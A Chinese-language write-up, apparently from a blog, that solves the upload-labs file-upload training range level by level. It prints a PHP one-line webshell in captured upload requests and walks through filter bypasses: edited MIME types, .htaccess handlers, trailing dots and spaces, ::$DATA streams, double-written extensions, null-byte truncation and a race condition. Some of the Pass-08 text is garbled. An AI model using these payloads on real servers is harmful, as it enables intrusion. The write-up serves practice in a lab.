一、安装并运行
https://github.com/c0ny1/upload-labs
注:下面是 linux 环境的运行代码
upload-labs 靶场只允许 linux 或者 windows 运行,还好我还有一个服务器 ...
bash
docker pull c0ny1/upload-labs
docker run -d -p 80:80 --name upload-labs c0ny1/upload-labs:latest
运行后可通过如下命令查看靶场运行情况:
bash
root@iZm5e6knj5h0f3rmg5lqyiZ:~# lsof -i :80
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
docker-pr 252031 root 8u IPv4 1503925 0t0 TCP *:http (LISTEN)
docker-pr 252043 root 8u IPv6 1503926 0t0 TCP *:http (LISTEN)
在现代 Linux 系统中,当 Docker 代理进程尝试绑定 80 端口时,系统默认会同时创建 IPv4 和 IPv6 两个套接字(Socket)来进行监听。
IPv4 进程:专门负责处理传统的 IPv4 网络请求(如 192.168.1.10:80)。
IPv6 进程:负责处理 IPv6 网络请求。得益于 Linux 的双栈特性,这个 IPv6 套接字不仅能处理纯 IPv6 流量,还能通过"IPv4 映射"机制兼容 IPv4 流量。
创建 upload 文件夹,并赋予读写执行权限。
bash
root@iZm5e6knj5h0f3rmg5lqyiZ:~# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
6547d2b72b84 c0ny1/upload-labs:latest "apache2-foreground" 3 hours ago Up 3 hours 0.0.0.0:80->80/tcp, [::]:80->80/tcp upload-labs
root@iZm5e6knj5h0f3rmg5lqyiZ:~# docker exec -it 6547d2b72b84 /bin/bash
root@6547d2b72b84:/var/www/html# mkdir upload
root@6547d2b72b84:/var/www/html# chmod -R 777 upload
二、解题
Pass-01
查看页面源代码后,发现上传函数逻辑如下:
js
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
可以很明显的看出,文件类型判断逻辑在前端中,那么我们就可以在前端绕过。
步骤如下:
-
选择好要上传的 .php 一句话木马

-
在浏览器开发者工具中,关键判断文件类型函数处打好断点

-
点击上传按钮执行上传js代码
-
执行校验操作前,修改关键参数值

-
继续执行程序,看到成功绕过校验
Pass-02
这个在前端中没看到校验代码,说明是发送请求给后端处理。
- 抓取上传一句话木马的包如下:
bash
POST /Pass-02/index.php HTTP/1.1
Host: 47.104.184.55
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydMfCPlL7TeMcTazP
Origin: http://47.104.184.55
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://47.104.184.55/Pass-02/index.php
Content-Length: 321
------WebKitFormBoundarydMfCPlL7TeMcTazP
Content-Disposition: form-data; name="upload_file"; filename="getshell.php"
Content-Type: text/php
<?php @eval($_POST['shell']);?>
------WebKitFormBoundarydMfCPlL7TeMcTazP
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarydMfCPlL7TeMcTazP--
- 抓取一个正常上传图片的包如下
bash
POST /Pass-02/index.php HTTP/1.1
Host: 47.104.184.55
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Origin: http://47.104.184.55
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydAQ3O4OAT9XSLhJa
Referer: http://47.104.184.55/Pass-02/index.php
Content-Length: 424
------WebKitFormBoundarydAQ3O4OAT9XSLhJa
Content-Disposition: form-data; name="upload_file"; filename="【哲风壁纸】初音-初音未来.png"
Content-Type: image/png
[[yakit: multipart file spilled, part=0, file=【哲风壁纸】初音-初音未来.png, size=11447640]]
------WebKitFormBoundarydAQ3O4OAT9XSLhJa
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarydAQ3O4OAT9XSLhJa--
- 修改文件类型
bash
POST /Pass-02/index.php HTTP/1.1
Host: 47.104.184.55
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydMfCPlL7TeMcTazP
Origin: http://47.104.184.55
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://47.104.184.55/Pass-02/index.php
Content-Length: 321
------WebKitFormBoundarydMfCPlL7TeMcTazP
Content-Disposition: form-data; name="upload_file"; filename="getshell.php"
Content-Type: image/png
<?php @eval($_POST['shell']);?>
------WebKitFormBoundarydMfCPlL7TeMcTazP
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarydMfCPlL7TeMcTazP--
- 观察到上传成功

Pass-03
查看提示发现是黑名单校验不允许上传如下类型的文件:

可以选择使用 .phtml .phps .php5 .pht 等类型进行绕过,问题变为黑名单不全面问题。
Pass-04
上传一个.htaccess 配置文件,配置将 getshell.png 当作 php 代码解析。
bash
<FilesMatch "getshell.png">
SetHandler application/x-httpd-php
.htaccess 是 Apache 服务器的分布式配置文件,它可以对当前目录及其子目录的访问规则进行局部修改。
这个方法在博主的服务器上没有用,不知道是什么原因。
Pass-05

查看提示和源代码,我们发现它还是通过黑名单的机制,但是没有做大小写的过滤,所以我们可以通过上传 .PHP 大写后缀的 webshell,来实现绕过上传限制。
原理如下:
- 通过 Wappalyzer 发现网站 web 服务器为 Apache 服务器。

在 Linux/Unix 系统上表现为大小写敏感;在 Windows 系统上表现为大小写不敏感。
所以如果对面的操作系统是 Windows,上面可以实现绕过,但是我的操作系统是 Debian 所以不行。
Pass-06

分析源代码,发现没有对文件后缀做去空清洗工作,所以可通过抓包加空字符绕过。
使用 Yakit 劫持数据包,修改 filename 参数为 filename="getshell6.php ",放行请求,绕过上传成功。

如果目标服务器是 Windows 系统,Windows 的文件系统(如 NTFS)有一个特性:不允许文件名或后缀名以空格结尾。当系统尝试保存 getshell6.php 时,会自动忽略并去除末尾的空格,最终在磁盘上生成的真实文件名为 getshell6.php。而对 Linux 服务器来说,文件会完整落地,所以无效。
Pass-07
同上,修改 filename="getshell6.php.",因为代码中没有过滤末尾的. 。
Pass-08
修改 filename="getshell6.php:: D A T A " : : DATA" :: DATA"::DATA 绕过与前面提到的"空格绕过"类似,也是高度依赖于底层操作系统特性的一种攻击手法,它仅适用于 Windows 服务器(NTFS 文件系统)。其核心原理在于 Windows NTFS 文件系统独有的交替数据流(Alternate Data Streams, ADS)特性,以及服务端与操作系统在处理文件名时的逻辑差异。具体原理如下:当服务端将文件写入磁盘时,Windows 操作系统会接管文件名的处理。由于系统识别到了 :: D A T A 数据流标识符,它会自动忽略并去除 : : DATA 数据流标识符,它会自动忽略并去除 :: DATA数据流标识符,它会自动忽略并去除::DATA 及其之后的内容,最终在服务器上实际创建并保存的文件名为 shell.php。
Pass-09

利用它在清洗过滤中的代码逻辑不严谨,来实现绕过。分析处理逻辑如下:
- 删除末尾点
- 分割出文件后缀
- 转换为小写
- 去掉 ::$DATA
- 首位去空
那么我们构造一个 "getshell.php. ",还是可以绕过
Pass-10

str_ireplace:代表"string case-insensitive replace"(不区分大小写的字符串替换)。
那么我们知道了它的处理逻辑后,就可以进行双写绕过,上传 "getshell.pphphp",上传成功。
Pass-11

查看原代码发现这是一个白名单的检查机制,但是上传路径可以控制。
bash
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
那么,NULL 字节截断(Null Byte Truncation) 攻击,结合 save_path 参数来实现文件上传路径控制。
00 截断(Null Byte Truncation) 漏洞,利用了 PHP 底层 C 语言在处理字符串时遇到 \0 会截断的特性。这个漏洞在 PHP 5.3.4 及以后的版本中已经被官方修复。

我一看我的 php 版本是 5.5 ,我就知道...

原理:
save_path 中的 %00(URL 编码的 NULL 字节 \0):
PHP 字符串截断:在 PHP 的许多文件操作函数(如 move_uploaded_file、basename)底层调用的是 C 语言函数,C 语言字符串以 \0 作为结束符。因此当字符串中包含 \0 时,\0 之后的内容会被截断忽略。
Pass-12
- GET 请求:服务器会自动对 URL 中的 %00 进行 URL 解码,将其还原为空字节(\x00),从而触发截断。
- POST 请求:服务器不会自动对 POST 报文体中的 %00 进行解码。如果直接发送,服务器会将其当作普通的字符串(即字符 %、0、0)处理,无法实现截断效果。因此,必须手动在 Burp Suite 中将其解码为真实的空字节(\x00)后再发送报文,才能成功绕过白名单校验并实现文件截断保存。

今天先写这么多吧~~,明天来了再写后面的 ~~
Pass-13\14\15\16

这是一个图片马的问题,图片马制作教程可以看这个博主的文章:https://blog.csdn.net/2301_80661529/article/details/136464023
Pass-17

条件竞争,先上传然后再判断(如果我们在上传上去的一瞬间访问这个文件,那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。)
- 直接将临时文件移动到目标路径并保存
- 如果合法,则重命名文件(加上随机数和时间戳防重名)
- 如果后缀不合法,提示错误并删除刚才已经保存的文件
Pass-18
"移动"和"重命名"操作之间存在时间差。
- 制作一个图片马(如 shell.jpg),或者利用 Apache 解析漏洞,上传一个名为 shell.php.7z 的文件(.7z 在白名单中,但 Apache 可能会将其解析为 PHP)。
- 使用 Burp Suite 的 Intruder 模块,不断发送上传 shell.php.7z 的请求。
- 同时,使用 Python 脚本或 Burp 的另一个线程,疯狂访问 http://目标IP/upload/shell.php.7z。
- 命中窗口:只要在服务器将文件保存为 shell.php.7z 但还没来得及将其重命名为时间戳文件的这几毫秒内,访问请求命中了该文件,Webshell 就会被执行。
Pass-19

- PHP 的 move_uploaded_file() 函数在底层处理时,会自动忽略文件名末尾的 /. 字符
- save_name=shell.php/.
PHP 的 move_uploaded_file() 函数在底层处理时,会自动忽略文件名末尾的点号(.)。
Pass-20
通过抓包将 save_name 修改为数组形式
save_name0=shell.php
save_name2=jpg